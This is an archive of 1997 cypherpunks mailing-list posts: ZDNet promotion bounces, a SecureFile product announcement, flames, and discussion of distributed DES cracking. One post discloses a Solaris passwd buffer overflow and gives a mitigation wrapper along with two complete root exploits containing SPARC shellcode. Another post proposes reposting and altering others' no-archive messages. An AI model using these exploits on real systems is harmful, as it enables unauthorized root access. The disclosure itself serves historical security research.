>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:09:15 -0800 (PST)
Subject: Failed mail
Message-ID: <ga219888.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ga219888; Tue, 25 Feb 1997 17:10:31 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:31 -0500
>Message-Id: <22103117645901@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:36 -0800 (PST)
Subject: Failed mail
Message-ID: <ea219886.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ea219886; Tue, 25 Feb 1997 17:10:28 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:28 -0500
>Message-Id: <22102857245899@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:36 -0800 (PST)
Subject: Failed mail
Message-ID: <fa219887.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id fa219887; Tue, 25 Feb 1997 17:10:29 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:29 -0500
>Message-Id: <22102990445900@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:06:01 -0800 (PST)
Subject: Failed mail
Message-ID: <da219885.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id da219885; Tue, 25 Feb 1997 17:10:27 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:27 -0500
>Message-Id: <22102719045898@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:05:55 -0800 (PST)
Subject: Failed mail
Message-ID: <ca219884.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ca219884; Tue, 25 Feb 1997 17:10:25 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:25 -0500
>Message-Id: <22102589945897@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cristian SCHIPOR <skipo@sundy.cs.pub.ro>
Date: Tue, 25 Feb 1997 07:22:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Big Security Hole in Solaris 2.X (X)passwd + exploit
Message-ID: <Pine.GSO.3.95.970225171251.885C-100000@sundy.cs.pub.ro>
MIME-Version: 1.0
Content-Type: text/plain


Tue Feb 25 14:22 EET 1997 Romania

 " Another letter - another bug "

An Exploit for a Big Big security hole in passwd ( + yppasswd and nispasswd)

Under Solaris 2.X passwd, yppasswd and nispasswd can be overflowed in 
an internal function ( some like sa_chauthtok() ). Using a buffer 
overflow exploit anyone can gain root access (passwd need suid exec bit 
from root). passwd has a second  overflow bug  when it is called with 
'-s' option in an internal strcpy().

I written two exploits one for Solaris 2.4 and one for Solaris 2.5 for 
sa_chauthtok() type function ( passwd LEMON_BUFFER ). It's a little trick 
here - the LEMON_BUFFER is shifted in memory with 1 char after exec so it 
must to shift the LEMON_BUFFER in a reverse direction before exec - 
that's happening only for a special combination of the exec args - 
see my exploits.

A way to prevent the exploit is to rename passwd, nispasswd and yppasswd 
and get out suid-exec bit. After that you have to compile a little 
program ( some like newpass.c ) with name passwd or nispasswd or yppasswd  
like root and  give them suid-exec bit. You have to change the  "hidden_passwd" 
constant with the new name of Xpasswd files.

Cristian Schipor - Computer Science Faculty - Bucharest - Romania

E-mail: skipo@math.pub.ro , skipo@sundy.cs.pub.ro , skipo@ns.ima.ro
Phone: (401) - 410.60.88

---------------------------- file newpass.c -------------------------------
#include <stdio.h>
#include <syslog.h>

#define hidden_passwd "/bin/hpasswd" /*change here ...*/
#define MAX_LENGTH 32

void main(int argc, char *argv[])
{
int i;
char *args[10];
	
	if(argc < 10)
	{
		args[0]=hidden_passwd;
		for(i = 1; i<argc; i++)
		{
			if(strlen(argv[i]) > MAX_LENGTH)
			{
				printf("You reached the maximum length in args\n");
				exit(0);
			}
			else args[i]=argv[i];
		}
		args[i]=(char *)0;
		execv(args[0],args);
	}
	else
	{
		printf("You reached the maximum number of args !\n");
	}
}
 
---------------------------- end newpass.c  -----------------------------------

------------------------------ EXPLOITS ----------------------------------

------------------------------ lemon24.c --------------------------------
/*
Exploit for Solaris 2.4 ( it is a little and subtile different  beetwen this 
exploit and the prog for Solaris 2.5 - the overflow buffer is shifted 
with 1 char ) 
With argv[1] you can modify the stack_offset (+-256).
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      600
#define EXTRA           600
#define STACK_OFFSET    1400
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA + 8];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),dso=0;

  if(argc > 1) dso=atoi(argv[1]);

  long_p =(u_long *)  buf ;
    targ_addr = get_sp() - STACK_OFFSET - dso;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;


  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
  targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
  execl("/bin/passwd", "passwd", & buf[1],(char *) 0);
  perror("execl failed");
}

-------------------------------- end of lemon24.c  ----------------------------

---------------------------------- lemon25.c  --------------------------------

/*
This is for Solaris 2.5.(1) !
With argv[1] you can modify the stack offset (+-500) if you have troubles
...
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      1100
#define EXTRA           1200
#define STACK_OFFSET    3800
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff"
;

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),dso=0;

  if(argc > 1) dso=atoi(argv[1]);

  long_p =(u_long *)  buf;
    targ_addr = get_sp() - STACK_OFFSET - dso;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;


  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
  targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
  execl("/bin/passwd", "passwd", buf,(char *) 0);
  perror("execl failed");
}

----------------------------------- end of lemon25.c  -------------------------


 # End  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Tue, 25 Feb 1997 14:56:06 -0800 (PST)
To: Toto <cwood@ucsd.edu>
Subject: Re: take me off this list
In-Reply-To: <1.5.4.16.19970225111952.2307a0ac@popmail.ucsd.edu>
Message-ID: <3.0.1.32.19970225175547.007c9c60@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:43 PM 2/25/97 -0800, Toto wrote:

What frigging list is this I got on?

Alec




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anand Abhyankar <anand@querisoft.com>
Date: Tue, 25 Feb 1997 05:47:04 -0800 (PST)
To: bryce@digicash.com
Subject: Re: "cypherpunks is dead..."
In-Reply-To: <199702201544.QAA07860@digicash.com>
Message-ID: <3313A7CF.6F50@querisoft.com>
MIME-Version: 1.0
Content-Type: text/plain


Bryce wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
>  A million monkeys operating under the pseudonym
>  "Tim May <tcmay@got.net>" typed:
> >
> > (Getting PGP integrated into mailers
> > is stil bogged down, for reasons I have to believe have to do with
> > pressures from somewhere, else why would e-mail packages not make PGP
> > support painless?)
> 
> Because PGP's user interface is yucky and its programmer
> interface is even worse.
> 
> Amazing how people don't realize how much certain important
> things depend on such a (deceptively) simple concept as having
> a nice user interface and a nice programmer interface.  In
> contradiction of certain cypherpunk urban legends, I suspect
> that such pedestrian details are far, far more important to
> the course of history than the clumsy and feckless
> machinations of government agencies.
> 
> But for the good news, see the quote from Jim Bidzos in my
> ".plan".
> 
> Regards,
> 
> Zooko, Journeyman Interface Designer
> 
> NOT speaking for any organizations or persons whose names
> might appear in the headers of this message, or who might
> occasionally toss me some spare change in return for my
> brilliant software design work.
> 
> PGP sig follows

check www.querisoft.com for 'SecureFile'. the attachment here explains
the features of SecureFile.

your comments / suggestions are most welcome.

thanx.
anand....
-- 
                                             \|||/
                                            ( O-O )
 *----------------*-----------*--------.ooo0--(_)-0ooo.----------*
  Anand Abhyankar                                               
  Querisoft Systems Pvt. Ltd.   Email       : anand@querisoft.com 
  810, Sindh Society, Aundh,    Phone (Off) : 91-212-385925       
  Pune - 411 007. INDIA               (Res) : 91-212-351023
                                          .oooO         
                			  (   )   Oooo.
 *----------------*-----------*------------\ (----(   )----------*
                                            \_)    ) /
                                                  (_/




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anand Abhyankar <anand@querisoft.com>
Date: Tue, 25 Feb 1997 05:48:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: SecureFile.
Message-ID: <3313A8E9.1EFE@querisoft.com>
MIME-Version: 1.0
Content-Type: text/plain

hi cypherpunks,

check out 'SecureFile' at www.querisoft.com

the attachment here briefs the cool features of 'SecureFile'.

thanx.
anand....
-- 
                                             \|||/
                                            ( O-O )
 *----------------*-----------*--------.ooo0--(_)-0ooo.----------*
  Anand Abhyankar                                               
  Querisoft Systems Pvt. Ltd.   Email       : anand@querisoft.com 
  810, Sindh Society, Aundh,    Phone (Off) : 91-212-385925       
  Pune - 411 007. INDIA               (Res) : 91-212-351023
                                          .oooO         
                			  (   )   Oooo.
 *----------------*-----------*------------\ (----(   )----------*
                                            \_)    ) /
                                                  (_/


SecureFile :

*   SecureFile is a cryptographic tool through which you can ensure the  privacy, integrity and authenticity of your documents. 

*   The product -- seamlessly integrated with the Windows 95/Windows NT 4.0 Explorer - commandS a comprehensive Graphical User Interface. So, all you got to do is "click," and ensure your privacy. 

*   SecureFile allows you to store documents in an encrypted form so that no one would make any sense out of them. Whenever you want to read these documents, SecureFile decrypts them for you (and only you). 

*   You can also encrypt documents such that only a select few (identified by you) may be able to decrypt them. 

*   To guarantee the integrity and authenticity of your documents, SecureFile allows you to digitally sign them. Thus, no one will be able to play mischief with your files without getting detected.
Neither shall anyone be able to send you documents forged in someone else's name because SecureFile allows you to verify the signature on any document. 

*   Still, in another sense, you will possess irrefutable proof that you have received certain documents from the one who has signed them. 

SECUREFILE - JUST THE WAY TO RE-DISCOVER YOUR PRIVACY 


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 25 Feb 1997 11:19:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [ADMINISTRATIVIUM] Quadratic residues
Message-ID: <199702251831.TAA29959@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C[reep] Maytag's IQ is lower than the belly of a pregnant snake.

    /\
   /..\  Timothy C[reep] Maytag
  /_\/_\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 25 Feb 1997 19:20:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: x-no-archive: yes
In-Reply-To: <3.0.1.32.19970225133510.007ab9c0@aloha.com>
Message-ID: <0coP3D74w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Dr. Jai Maharaj" <jai@aloha.com> writes:

> boursy@earthlink.net (ISP_Ratings) wrote:
> > aga wrote:
> >> Let's all just start reposting any x-no-archive that we see.
> >
> >  Will do--this works better from a shell as there is
> > more information revealed.  It'll drive those in the
> >'privacy' groups nuts though.
>
> I shall do the same.  Is it a good idea to include a line
> such as "Posting the article so that it may be archived."
> either at the top or bottom of the reposts?

An excellent idea!  Also reposting their garbage from bofh.*
to news.* and alt.flame. :-)

I'd suggest:
 1. "Reposting the article so it can be archived" on top;
 2. Slight alterations of the text (introducing spelling errors etc)
 3. A disparaging remark at the bottom ("what a maroon", "get a clue", etc)

This can be done better by a computer program than by a human being...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 25 Feb 1997 20:05:45 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Re: DES search publicity (was Re: Cryptanalysis)
In-Reply-To: <Pine.LNX.3.95.970220185915.1374A-100000@purple.voicenet.com>
Message-ID: <3313D302.2C53@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mark M. wrote:
> Last time I checked, deskr06i.zip, which I believe is the correct filename,
> was in

  Lies, lies. The correct URL is:
ftp://ftp.replay.com/pub/replay/pub/incoming/

(unless you are a drug-pushing, child-molesting terrorist, in which 
case I, too, am lying)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 26 Feb 1997 07:28:36 -0800 (PST)
To: Marc Horowitz <marc@cygnus.com>
Subject: Re: Distributed cracks, law, and cryptoanarchy
In-Reply-To: <3310e0fa.5573759@library.airnews.net>
Message-ID: <3.0.1.32.19970226073415.006c23b8@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:31 PM 2/24/97 -0500, Marc Horowitz wrote:
>>> The "you must report results only to the crack organizers" rule can be
>>> enforced if it's made into a contract. Even without a formal contract,
>
>I don't want to sign a formal contract.  I want to break the key.  I
>don't care about the money.  I can buy a lottery ticket if I want a
>small chance at winning a lot of money.
>
>I'll participate when I can download something, type make, run it, and
>forget about it.

If this is the case, it seems like it'd be useful to consider what sort of
social/legal/technical environment is most likely to result in "something"
that you can download, make, run, and forget.

Hence, discussion about legal and technical approaches which are likely to
satisfy organizers' desires to control the direction & results of their
projects. A distributed crack needs client software, and a coordinated
distributed crack needs some sort of coordination mechanism. The current
set of rewards available to potential organizers doesn't seem to be
inspiring an outpouring of effort. (No offense is intended to people who
are actually deploying things; the "lack of outpouring" comment refers to
the number of different efforts, not the commitment exhibited by those who
are working now.) 

>Invoving money money seems to be making it harder, not easier, to do
>this.  I thought the reason to crack the key was to demonstrate how
>weak DES is.  If the person who cracks the key collects the reward
>himself, so what?  A good, public nail in the coffin of restrictions
>on crypto is worth the risk that someone steals the $10k, IMHO.

That's a very noble sentiment, but until *you* write some software, the
risk that you're dismissing is *someone else's* risk - so you're balancing
a public good against someone else's loss, and deciding that it works out
nicely for you. Well, sure. You seem to be willing to give up the nominal
value of the prize (somewhere under $1, when discounted against the chance
of hitting the key) but you don't seem to be willing to invest anything
substantial (like many hours of programming time, or serious computing
horsepower) in the bruting effort. 

I'll cheerfully admit that my level of commitment is similar to yours - I
don't mind letting someone else's software eat up my idle cycles. But I'd
have to see some tangible benefit to me before I'd be willing to put any
real time or effort into a crack, and I suspect this is true of many
others, too. The value of the $10K prize alone isn't that attractive,
because with puny hardware it's a very long shot, and with meaningful
hardware, the cost of the hardware dwarfs the value of the prize. 

I don't think it's realistic or useful to pretend to ignore economics. I
believe that you are not ignoring economic considerations when you fail to
invest significantly in the bruting effort, and I don't think there's
anything wrong with that. My point is that if we want to see a brute-force
attack succeed, and we want the threat of other brute-force attacks to be
credible, we should find a way to organize rights & obligations such that
it looks rational to act as the organizer of a brute-force effort. The
current configuration doesn't seem to inspire widespread significant interest.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 26 Feb 1997 09:04:49 -0800 (PST)
To: Greg Broiles <marc@cygnus.com>
Subject: Re: Distributed cracks, law, and cryptoanarchy
In-Reply-To: <t53k9nx28nx.fsf@rover.cygnus.com>
Message-ID: <v03007802af3a1dec5f41@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



First, I won't express any more opinions about the DES crack and whether it
"ought" to be coordinated or uncoordinated. Second, Greg's point brings up
something very interesting:

At 7:34 AM -0800 2/26/97, Greg Broiles wrote:

>others, too. The value of the $10K prize alone isn't that attractive,
>because with puny hardware it's a very long shot, and with meaningful
>hardware, the cost of the hardware dwarfs the value of the prize.


Interestingly for the _contract_ discussion, it is likely that many of
those participating are not the _owners_ of the hardware on which the crack
software is being run. For example, the hardware is owned by universities
(and hence maybe taxpayers), corporations, government labs, etc.

The whole notion of "stealing cycles" is the key to the crack. as it were.

(Sure, in some cases the owners sort of know that spare cycles are being
used, or that "something" is going on. And the cycles may indeed be
spare...but in some cases the DES crack may materially slow down other
users...not my main point, though.)

So, do those making a "contract" with the crack challenge organizers have
the legal power to do so? Did the University of California waive its share
of the prize if the Network of Workstations, for example, finds the key?

Will we see "stego cracking," where people hide their intentions so that if
the cycles they steal win a prize, they won't have to answer to their
employers? Or, worse, share the prize? (Or give up the prize completely, as
seems likely under existing case law.)

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 26 Feb 1997 09:21:13 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: Sampler: February 26
In-Reply-To: <9702260830.AA29225@jimmy.djc.com>
Message-ID: <331482F2.7DFB@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


sampler-request@lmboyd.com wrote:
 
 ======================================================
 
  Wrote Peter Chippindale in the United Kingdom's New
 Statesman: "A good police force is one which catches more
 criminals than it employs."

-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
